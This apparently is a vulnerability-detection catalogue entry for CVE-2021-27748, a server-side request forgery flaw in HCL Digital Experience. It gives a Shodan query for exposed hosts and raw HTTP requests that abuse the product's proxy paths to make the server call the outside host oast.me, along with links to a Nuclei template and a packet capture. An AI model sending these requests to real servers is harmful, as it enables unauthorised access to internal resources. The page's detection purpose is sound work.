🔙 목록으로 돌아가기

CVE-2021-27748: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery

TitleIBM WebSphere HCL Digital Experience - Server-Side Request Forgery
Authorpdteam
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass security controls, access internal resources, and potentially perform further attacks.
RemediationApply the latest security patches or updates provided by IBM to mitigate this vulnerability.
CVE IDCVE-2021-27748
Shodan Queryhttp.html:"IBM WebSphere Portal"
Tags cve2021 cve hcl ibm ssrf websphere vuln

🔍 Vulnerability Description

IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.9 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
GET /docpicker/internal_proxy/http/oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wps/PA_WCM_Authoring_UI/proxy/http/oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27748.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27748.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A